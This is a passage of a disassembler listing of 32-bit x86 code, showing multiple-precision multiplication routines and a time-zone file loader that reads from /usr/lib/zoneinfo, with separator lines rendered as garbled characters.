陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80598B4: ; CODE XREF: sub_805971C+180j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi push ebx call __mpn_addmul_1 loc_80598C3: ; CODE XREF: sub_805971C+195j mov edx, eax add esp, 10h loc_80598C8: ; CODE XREF: sub_805971C+187j mov esi, [ebp+arg_8] mov [ebx+esi*4], edx lea edi, [ebx+4] mov [ebp+var_8], edi mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, [edi+esi*4+4] cmp eax, 1 ja short loc_80598FC xor edx, edx cmp eax, 1 jnz short loc_8059913 mov esi, [ebp+arg_8] push esi push edi mov edi, [ebp+var_8] push edi push edi call __mpn_add_n jmp short loc_805990E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80598FC: ; CODE XREF: sub_805971C+1C5j push eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+var_8] push esi call __mpn_addmul_1 loc_805990E: ; CODE XREF: sub_805971C+1DDj mov edx, eax add esp, 10h loc_8059913: ; CODE XREF: sub_805971C+1CCj mov edi, [ebp+arg_8] mov esi, [ebp+var_8] mov [esi+edi*4], edx add ebx, 8 add [ebp+var_4], 2 cmp [ebp+var_4], edi jnz loc_8059890 loc_805992C: ; CODE XREF: sub_805971C+11Bj ; sub_805971C+16Bj lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805971C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8059938 proc near ; CODE XREF: sub_8059938+2Ep ; sub_8059938+DCp ... var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push edi push esi push ebx mov esi, [ebp+arg_8] test esi, 1 jz loc_80599F0 dec esi mov [ebp+var_10], esi cmp esi, 1Fh jle short loc_80599B8 mov edi, [ebp+arg_C] push edi push esi mov esi, [ebp+arg_4] push esi mov edi, [ebp+arg_0] push edi call sub_8059938 add esp, 10h loc_805996E: ; CODE XREF: sub_8059938+94j mov esi, [ebp+var_10] mov edi, [ebp+arg_4] mov eax, [edi+esi*4] push eax push esi push edi mov edi, [ebp+arg_0] lea ebx, [edi+esi*4] push ebx call __mpn_addmul_1 mov edx, eax mov eax, [ebp+var_10] add eax, eax mov [edi+eax*4], edx mov edi, [ebp+arg_4] mov eax, [edi+esi*4] push eax mov esi, [ebp+arg_8] push esi push edi push ebx call __mpn_addmul_1 mov edx, eax mov eax, [ebp+arg_8] add eax, [ebp+var_10] mov edi, [ebp+arg_0] mov [edi+eax*4], edx jmp loc_8059F40 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80599B8: ; CODE XREF: sub_8059938+1Fj mov esi, [ebp+var_10] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_0] push esi call sub_805971C add esp, 0Ch jmp short loc_805996E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80599D0: ; CODE XREF: sub_8059938+C4j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] lea eax, [esi+edi*4] push eax mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax call sub_805971C add esp, 0Ch jmp short loc_8059A1C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80599F0: ; CODE XREF: sub_8059938+12j mov edi, [ebp+arg_8] sar edi, 1 mov [ebp+var_4], edi cmp edi, 1Fh jle short loc_80599D0 mov esi, [ebp+arg_C] push esi push edi mov esi, [ebp+arg_4] lea eax, [esi+edi*4] push eax mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] lea eax, [esi+edi*4] push eax call sub_8059938 add esp, 10h loc_8059A1C: ; CODE XREF: sub_8059938+B5j mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] push esi lea ebx, [esi+edi*4] push ebx call __mpn_cmp add esp, 0Ch test eax, eax jl short loc_8059A74 push edi push esi push ebx mov edi, [ebp+arg_0] push edi jmp short loc_8059A84 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059A40: ; CODE XREF: sub_8059938+158j mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_0] push edi mov esi, [ebp+arg_C] push esi call sub_805971C add esp, 0Ch jmp short loc_8059AB0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059A58: ; CODE XREF: sub_8059938+24Aj mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_4] push esi mov edi, [ebp+arg_C] push edi call sub_805971C add esp, 0Ch jmp loc_8059BA3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059A74: ; CODE XREF: sub_8059938+FAj mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_4] lea eax, [edi+esi*4] push eax push edi mov esi, [ebp+arg_0] push esi loc_8059A84: ; CODE XREF: sub_8059938+103j call __mpn_sub_n add esp, 10h cmp [ebp+var_4], 1Fh jle short loc_8059A40 mov edi, [ebp+arg_8] mov esi, [ebp+arg_C] lea eax, [esi+edi*4] push eax mov edi, [ebp+var_4] push edi mov esi, [ebp+arg_0] push esi mov edi, [ebp+arg_C] push edi call sub_8059938 add esp, 10h loc_8059AB0: ; CODE XREF: sub_8059938+11Cj cmp [ebp+var_4], 0 jle loc_8059B3F mov esi, [ebp+arg_8] lea edx, ds:0[esi*4] mov edi, [ebp+var_4] lea ecx, ds:0[edi*4] lea ebx, [edx+ecx] mov eax, edi and eax, 3 jz short loc_8059B14 cmp eax, 1 jle short loc_8059B00 cmp eax, 2 jle short loc_8059AF1 mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax add edx, 4 add ecx, 4 loc_8059AF1: ; CODE XREF: sub_8059938+1A8j mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax add edx, 4 add ecx, 4 loc_8059B00: ; CODE XREF: sub_8059938+1A3j mov esi, [ebp+arg_0] mov eax, [esi+edx] mov [esi+ecx], eax add edx, 4 add ecx, 4 cmp edx, ebx jz short loc_8059B3F nop loc_8059B14: ; CODE XREF: sub_8059938+19Ej ; sub_8059938+205j mov edi, [ebp+arg_0] mov eax, [edi+edx] mov [edi+ecx], eax mov eax, [edi+edx+4] mov [edi+ecx+4], eax mov eax, [edi+edx+8] mov [edi+ecx+8], eax mov eax, [edi+edx+0Ch] mov [edi+ecx+0Ch], eax add edx, 10h add ecx, 10h cmp edx, ebx jnz short loc_8059B14 loc_8059B3F: ; CODE XREF: sub_8059938+17Cj ; sub_8059938+1D9j mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_8] shl edi, 2 mov [ebp+var_10], edi mov eax, [ebp+arg_0] add eax, edi lea ebx, ds:0[esi*4] lea edx, [ebx+eax] push edx push eax push eax call __mpn_add_n mov [ebp+var_8], eax mov esi, [ebp+arg_8] push esi mov edi, [ebp+arg_C] push edi add ebx, [ebp+arg_0] push ebx push ebx call __mpn_sub_n sub [ebp+var_8], eax add esp, 20h cmp [ebp+var_4], 1Fh jle loc_8059A58 mov eax, [ebp+arg_C] add eax, [ebp+var_10] push eax mov esi, [ebp+var_4] push esi mov edi, [ebp+arg_4] push edi mov esi, [ebp+arg_C] push esi call sub_8059938 add esp, 10h loc_8059BA3: ; CODE XREF: sub_8059938+134j mov edi, [ebp+arg_8] push edi mov esi, [ebp+arg_C] push esi mov edi, [ebp+var_4] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] push ebx push ebx call __mpn_add_n add [ebp+var_8], eax add esp, 10h cmp [ebp+var_8], 0 jz loc_8059D3C mov edi, [ebp+arg_8] lea ebx, [ebx+edi*4] mov esi, [ebp+var_4] mov [ebp+var_C], esi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_10], edi mov eax, [ebp+var_8] add eax, edx mov [ebx], eax mov ebx, [ebp+var_10] cmp eax, edx jnb loc_8059CCC dec esi mov [ebp+var_C], esi jz loc_8059D3C mov eax, esi neg eax and eax, 3 test esi, esi jle short loc_8059C4F test eax, eax jz short loc_8059C70 cmp eax, 3 jge short loc_8059C4F cmp eax, 2 jge short loc_8059C33 mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_10], esi mov [ebx], edx mov ebx, [ebp+var_10] test edx, edx jnz loc_8059CCC mov edi, [ebp+var_4] add edi, 0FFFFFFFEh mov [ebp+var_C], edi loc_8059C33: ; CODE XREF: sub_8059938+2DAj mov esi, [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz loc_8059CCC dec [ebp+var_C] loc_8059C4F: ; CODE XREF: sub_8059938+2CCj ; sub_8059938+2D5j mov edi, [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] jz loc_8059D3C lea esi, [esi+0] loc_8059C70: ; CODE XREF: sub_8059938+2D0j ; sub_8059938+38Fj mov esi, [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059CCC dec [ebp+var_C] jnz short loc_8059C70 jmp short loc_8059D3C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059CCC: ; CODE XREF: sub_8059938+2B3j ; sub_8059938+2ECj ... cmp [ebp+var_10], ebx jz short loc_8059D3C xor ecx, ecx mov edi, [ebp+var_C] dec edi mov [ebp+var_C], edi cmp ecx, edi jge short loc_8059D3C mov eax, edi and eax, 3 jz short loc_8059D10 cmp eax, 1 jle short loc_8059D01 cmp eax, 2 jle short loc_8059CF7 mov esi, [ebp+var_10] mov eax, [esi] mov [ebx], eax inc ecx loc_8059CF7: ; CODE XREF: sub_8059938+3B5j mov edi, [ebp+var_10] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_8059D01: ; CODE XREF: sub_8059938+3B0j mov esi, [ebp+var_10] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_C], ecx jz short loc_8059D3C loc_8059D10: ; CODE XREF: sub_8059938+3ABj ; sub_8059938+402j mov edi, [ebp+var_10] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [edi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [edi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_C], ecx jnz short loc_8059D10 loc_8059D3C: ; CODE XREF: sub_8059938+28Dj ; sub_8059938+2BDj ... xor ecx, ecx cmp [ebp+var_4], ecx jle short loc_8059DAF mov eax, [ebp+var_4] and eax, 3 jz short loc_8059D80 cmp eax, 1 jle short loc_8059D6D cmp eax, 2 jle short loc_8059D60 mov esi, [ebp+arg_C] mov eax, [esi] mov edi, [ebp+arg_0] mov [edi], eax inc ecx loc_8059D60: ; CODE XREF: sub_8059938+41Bj mov esi, [ebp+arg_C] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx loc_8059D6D: ; CODE XREF: sub_8059938+416j mov esi, [ebp+arg_C] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax inc ecx cmp [ebp+var_4], ecx jz short loc_8059DAF nop loc_8059D80: ; CODE XREF: sub_8059938+411j ; sub_8059938+475j mov esi, [ebp+arg_C] mov eax, [esi+ecx*4] mov edi, [ebp+arg_0] mov [edi+ecx*4], eax lea eax, [ecx+1] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+2] mov edx, [esi+eax*4] mov [edi+eax*4], edx lea eax, [ecx+3] mov edx, [esi+eax*4] mov [edi+eax*4], edx add ecx, 4 cmp [ebp+var_4], ecx jnz short loc_8059D80 loc_8059DAF: ; CODE XREF: sub_8059938+409j ; sub_8059938+445j mov esi, [ebp+var_4] push esi lea eax, ds:0[esi*4] mov edx, [ebp+arg_C] add edx, eax push edx add eax, [ebp+arg_0] push eax push eax call __mpn_add_n mov [ebp+var_8], eax test eax, eax jz loc_8059F40 mov edi, [ebp+arg_8] mov esi, [ebp+arg_0] lea ebx, [esi+edi*4] mov [ebp+var_C], edi mov edx, [ebx] lea edi, [ebx+4] mov [ebp+var_10], edi lea eax, [edx+1] mov [ebx], eax mov ebx, [ebp+var_10] cmp eax, edx jnb loc_8059ED0 dec [ebp+var_C] jz loc_8059F40 mov eax, [ebp+var_C] neg eax and eax, 3 cmp [ebp+var_C], 0 jle short loc_8059E53 test eax, eax jz short loc_8059E74 cmp eax, 3 jge short loc_8059E53 cmp eax, 2 jge short loc_8059E37 mov edx, [ebx] inc edx lea esi, [ebx+4] mov [ebp+var_10], esi mov [ebx], edx mov ebx, [ebp+var_10] test edx, edx jnz loc_8059ED0 dec [ebp+var_C] loc_8059E37: ; CODE XREF: sub_8059938+4E4j mov edi, [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz loc_8059ED0 dec [ebp+var_C] loc_8059E53: ; CODE XREF: sub_8059938+4D6j ; sub_8059938+4DFj mov esi, [ebp+var_10] mov edx, [esi] inc edx add esi, 4 mov [ebp+var_10], esi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] jz loc_8059F40 lea esi, [esi+0] loc_8059E74: ; CODE XREF: sub_8059938+4DAj ; sub_8059938+593j mov edi, [ebp+var_10] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] mov edx, [edi] inc edx add edi, 4 mov [ebp+var_10], edi mov [ebx], edx add ebx, 4 test edx, edx jnz short loc_8059ED0 dec [ebp+var_C] jnz short loc_8059E74 jmp short loc_8059F40 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8059ED0: ; CODE XREF: sub_8059938+4BBj ; sub_8059938+4F6j ... cmp [ebp+var_10], ebx jz short loc_8059F40 xor ecx, ecx mov esi, [ebp+var_C] dec esi mov [ebp+var_C], esi cmp ecx, esi jge short loc_8059F40 mov eax, esi and eax, 3 jz short loc_8059F14 cmp eax, 1 jle short loc_8059F05 cmp eax, 2 jle short loc_8059EFB mov edi, [ebp+var_10] mov eax, [edi] mov [ebx], eax inc ecx loc_8059EFB: ; CODE XREF: sub_8059938+5B9j mov esi, [ebp+var_10] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax inc ecx loc_8059F05: ; CODE XREF: sub_8059938+5B4j mov edi, [ebp+var_10] mov eax, [edi+ecx*4] mov [ebx+ecx*4], eax inc ecx cmp [ebp+var_C], ecx jz short loc_8059F40 loc_8059F14: ; CODE XREF: sub_8059938+5AFj ; sub_8059938+606j mov esi, [ebp+var_10] mov eax, [esi+ecx*4] mov [ebx+ecx*4], eax lea edx, [ecx+1] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+2] mov eax, [esi+edx*4] mov [ebx+edx*4], eax lea edx, [ecx+3] mov eax, [esi+edx*4] mov [ebx+edx*4], eax add ecx, 4 cmp [ebp+var_C], ecx jnz short loc_8059F14 loc_8059F40: ; CODE XREF: sub_8059938+78j ; sub_8059938+497j ... lea esp, [ebp+var_1C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8059938 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+8] mov ebx, [ebp+0Ch] mov ecx, [ebp+10h] mov edx, [ebp+14h] cmp ebx, ecx jnz short loc_8059F84 cmp edx, 1Fh jg short loc_8059F70 push edx push ebx push esi call sub_805971C jmp short loc_8059FA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059F70: ; CODE XREF: .text:08059F64j lea eax, ds:0[edx*8] sub esp, eax push esp push edx push ebx push esi call sub_8059938 jmp short loc_8059FA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059F84: ; CODE XREF: .text:08059F5Fj cmp edx, 1Fh jg short loc_8059F94 push edx push ecx push ebx push esi call ____mpn_mul_n_basecase jmp short loc_8059FA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8059F94: ; CODE XREF: .text:08059F87j lea eax, ds:0[edx*8] sub esp, eax push esp push edx push ecx push ebx push esi call sub_8059048 loc_8059FA7: ; CODE XREF: .text:08059F6Ej ; .text:08059F82j ... lea esp, [ebp-8] pop ebx pop esi mov esp, ebp pop ebp retn ; [0000005B BYTES: COLLAPSED FUNCTION __mpn_rshift. PRESS KEYPAD "+" TO EXPAND] align 8 ; [0000009E BYTES: COLLAPSED FUNCTION __mpn_sub_n. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003F BYTES: COLLAPSED FUNCTION __mpn_submul_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A0F0 proc near ; CODE XREF: sub_805A254+E8p ; sub_805A254+FAp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] movzx eax, byte ptr [ecx] shl eax, 8 movzx edx, byte ptr [ecx+1] or eax, edx mov edx, eax shl edx, 8 movzx eax, byte ptr [ecx+2] or eax, edx mov edx, eax shl edx, 8 movzx eax, byte ptr [ecx+3] or eax, edx mov esp, ebp pop ebp retn sub_805A0F0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A11C proc near ; CODE XREF: sub_805AF5C+A8p ; sub_805B010+2Dp var_C = byte ptr -0Ch push ebp mov ebp, esp push edi push esi push ebx mov dword_8078B1C, offset unk_8068EA4 mov dword_8078B20, offset unk_8068EA4 mov dword_8078B28, 0 mov dword_8078B24, 0 mov dword_8078B2C, 0 xor ecx, ecx cmp ds:dword_807B0E8, ecx jle short loc_805A1C4 mov ebx, offset dword_807B82C mov edx, offset unk_807B830 xor esi, esi lea esi, [esi] loc_805A16C: ; CODE XREF: sub_805A11C+A6j mov eax, [edx] mov edi, ds:dword_807B834[esi] add edi, offset unk_807C82C mov dword_8078B1C[eax*4], edi cmp dword ptr [edx], 0 jz short loc_805A190 mov dword_8078B28, 1 loc_805A190: ; CODE XREF: sub_805A11C+68j test ecx, ecx jz short loc_805A199 cmp dword ptr [edx], 0 jnz short loc_805A1A8 loc_805A199: ; CODE XREF: sub_805A11C+76j mov edi, [ebx] neg edi mov dword_8078B24, edi cmp dword ptr [edx], 0 jz short loc_805A1B2 loc_805A1A8: ; CODE XREF: sub_805A11C+7Bj mov edi, [ebx] neg edi mov dword_8078B2C, edi loc_805A1B2: ; CODE XREF: sub_805A11C+8Aj add ebx, 10h add edx, 10h add esi, 10h inc ecx cmp ds:dword_807B0E8, ecx jg short loc_805A16C loc_805A1C4: ; CODE XREF: sub_805A11C+40j push 0 call __libc_time lea esi, [eax+1E28500h] xor ecx, ecx cmp ds:dword_807B0E4, ecx jle short loc_805A247 mov ebx, offset dword_807B0E0 loc_805A1E0: ; CODE XREF: sub_805A11C+129j cmp [ebx+ecx*4+10h], esi jg short loc_805A23E movzx eax, byte ptr [ebx+ecx+5D8h] shl eax, 4 lea edx, dword_807B82C[eax] mov eax, [edx+4] mov edi, [edx+8] add edi, offset unk_807C82C mov dword_8078B1C[eax*4], edi cmp dword ptr [edx+4], 0 jz short loc_805A21A mov dword_8078B28, 1 loc_805A21A: ; CODE XREF: sub_805A11C+F2j test ecx, ecx jz short loc_805A224 cmp dword ptr [edx+4], 0 jnz short loc_805A234 loc_805A224: ; CODE XREF: sub_805A11C+100j mov edi, [edx] neg edi mov dword_8078B24, edi cmp dword ptr [edx+4], 0 jz short loc_805A23E loc_805A234: ; CODE XREF: sub_805A11C+106j mov edx, [edx] neg edx mov dword_8078B2C, edx loc_805A23E: ; CODE XREF: sub_805A11C+C8j ; sub_805A11C+116j inc ecx cmp ds:dword_807B0E4, ecx jg short loc_805A1E0 loc_805A247: ; CODE XREF: sub_805A11C+BDj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805A11C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_805A254 proc near ; CODE XREF: sub_805AAC0+7Bp ; sub_805AF2C+Dp ... var_1D5C = byte ptr -1D5Ch var_1D50 = dword ptr -1D50h var_1D4C = dword ptr -1D4Ch var_1D48 = dword ptr -1D48h var_1D44 = dword ptr -1D44h var_1D40 = byte ptr -1D40h var_1D28 = byte ptr -1D28h var_1D24 = byte ptr -1D24h var_1D20 = byte ptr -1D20h var_1D1C = byte ptr -1D1Ch var_1D18 = byte ptr -1D18h var_1D14 = byte ptr -1D14h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1D50h push edi push esi push ebx cmp [ebp+arg_0], 0 jnz short loc_805A277 mov [ebp+arg_0], offset aLocaltime ; "localtime" cmp [ebp+arg_0], 0 jz loc_805A3EF loc_805A277: ; CODE XREF: sub_805A254+10j mov edx, [ebp+arg_0] cmp byte ptr [edx], 3Ah jnz short loc_805A283 inc edx mov [ebp+arg_0], edx loc_805A283: ; CODE XREF: sub_805A254+29j mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 2Fh jz short loc_805A2EE mov esi, offset aUsrLibZoneinfo ; "/usr/lib/zoneinfo" test esi, esi jz loc_805A3EF xor al, al mov edi, esi cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx mov edi, [ebp+arg_0] cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea eax, [edx+eax-1] cmp eax, 400h ja loc_805A3EF push esi lea ebx, [ebp+var_404] push ebx call strcpy push offset asc_8068EC4 ; "/" push ebx call strcat mov edx, [ebp+arg_0] push edx push ebx call strcat mov [ebp+arg_0], ebx add esp, 18h loc_805A2EE: ; CODE XREF: sub_805A254+35j push 0 mov ecx, [ebp+arg_0] push ecx call __libc_open mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh jz loc_805A3EF push 193Ch lea eax, [ebp+var_1D40] push eax push ebx call __libc_read mov edi, eax push ebx call __libc_close add esp, 10h test eax, eax jnz loc_805A3EF cmp edi, 2Bh jbe loc_805A3EF lea eax, [ebp+var_1D28] push eax call sub_805A0F0 mov [ebp+var_1D44], eax lea eax, [ebp+var_1D24] push eax call sub_805A0F0 mov edx, [ebp+arg_4] mov [edx], eax lea eax, [ebp+var_1D20] push eax call sub_805A0F0 mov ecx, [ebp+arg_4] mov [ecx+4], eax lea eax, [ebp+var_1D1C] push eax call sub_805A0F0 mov edx, [ebp+arg_4] mov [edx+8], eax lea eax, [ebp+var_1D18] push eax call sub_805A0F0 mov ebx, eax mov ecx, [ebp+arg_4] mov [ecx+0Ch], ebx add esp, 14h cmp dword ptr [ecx], 32h ja short loc_805A3EF mov eax, [ecx+8] dec eax cmp eax, 0FFh ja short loc_805A3EF cmp dword ptr [ecx+4], 172h ja short loc_805A3EF cmp ebx, 32h ja short loc_805A3EF mov edx, [ebp+var_1D44] cmp [ecx+8], edx jz short loc_805A3C0 test edx, edx jnz short loc_805A3EF loc_805A3C0: ; CODE XREF: sub_805A254+166j mov ecx, [ebp+arg_4] mov eax, [ecx+4] lea ebx, [eax+eax*4] mov eax, [ecx+8] lea esi, [eax+eax*4] lea eax, [eax+esi+2Ch] add eax, ebx add eax, [ecx+0Ch] mov edx, [ecx] shl edx, 3 mov [ebp+var_1D50], edx add eax, edx add eax, [ebp+var_1D44] cmp edi, eax jnb short loc_805A3FC loc_805A3EF: ; CODE XREF: sub_805A254+1Dj ; sub_805A254+3Ej ... mov eax, 0FFFFFFFFh jmp loc_805A577 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805A3FC: ; CODE XREF: sub_805A254+199j lea esi, [ebp+var_1D14] xor edi, edi mov ecx, [ebp+arg_4] cmp [ecx+4], edi jle short loc_805A425 loc_805A40C: ; CODE XREF: sub_805A254+1CFj push esi call sub_805A0F0 mov edx, [ebp+arg_4] mov [edx+edi*4+10h], eax add esi, 4 add esp, 4 inc edi cmp [edx+4], edi jg short loc_805A40C loc_805A425: ; CODE XREF: sub_805A254+1B6j xor edi, edi mov ecx, [ebp+arg_4] cmp [ecx+4], edi jle short loc_805A450 nop loc_805A430: ; CODE XREF: sub_805A254+1FAj mov al, [esi] mov edx, [ebp+arg_4] mov [edi+edx+5D8h], al inc esi movzx eax, byte ptr [edi+edx+5D8h] cmp [edx+8], eax jle short loc_805A3EF inc edi cmp [edx+4], edi jg short loc_805A430 loc_805A450: ; CODE XREF: sub_805A254+1D9j xor edi, edi mov ecx, [ebp+arg_4] cmp [ecx+8], edi jle short loc_805A4B6 mov [ebp+var_1D4C], 74Ch loc_805A464: ; CODE XREF: sub_805A254+260j mov ebx, [ebp+arg_4] add ebx, [ebp+var_1D4C] push esi call sub_805A0F0 mov [ebx], eax add esi, 4 movzx eax, byte ptr [esi] mov [ebx+4], eax inc esi add esp, 4 cmp eax, 1 ja loc_805A3EF movzx eax, byte ptr [esi] mov [ebx+8], eax inc esi test eax, eax jl loc_805A3EF mov edx, [ebp+arg_4] cmp [edx+0Ch], eax jl loc_805A3EF add [ebp+var_1D4C], 10h inc edi mov ecx, [ebp+arg_4] cmp [ecx+8], edi jg short loc_805A464 loc_805A4B6: ; CODE XREF: sub_805A254+204j xor edi, edi mov edx, [ebp+arg_4] cmp [edx+0Ch], edi jle short loc_805A4D3 loc_805A4C0: ; CODE XREF: sub_805A254+27Dj mov al, [esi] mov ecx, [ebp+arg_4] mov [edi+ecx+174Ch], al inc esi inc edi cmp [ecx+0Ch], edi jg short loc_805A4C0 loc_805A4D3: ; CODE XREF: sub_805A254+26Aj mov edx, [ebp+arg_4] mov byte ptr [edi+edx+174Ch], 0 xor edi, edi cmp [edx], edi jle short loc_805A522 mov [ebp+var_1D48], 1780h lea esi, [esi] loc_805A4F0: ; CODE XREF: sub_805A254+2CCj mov ebx, [ebp+arg_4] add ebx, [ebp+var_1D48] push esi call sub_805A0F0 mov [ebx], eax add esi, 4 push esi call sub_805A0F0 mov [ebx+4], eax add esi, 4 add esp, 8 add [ebp+var_1D48], 8 inc edi mov ecx, [ebp+arg_4] cmp [ecx], edi jg short loc_805A4F0 loc_805A522: ; CODE XREF: sub_805A254+28Ej xor edi, edi mov edx, [ebp+arg_4] cmp 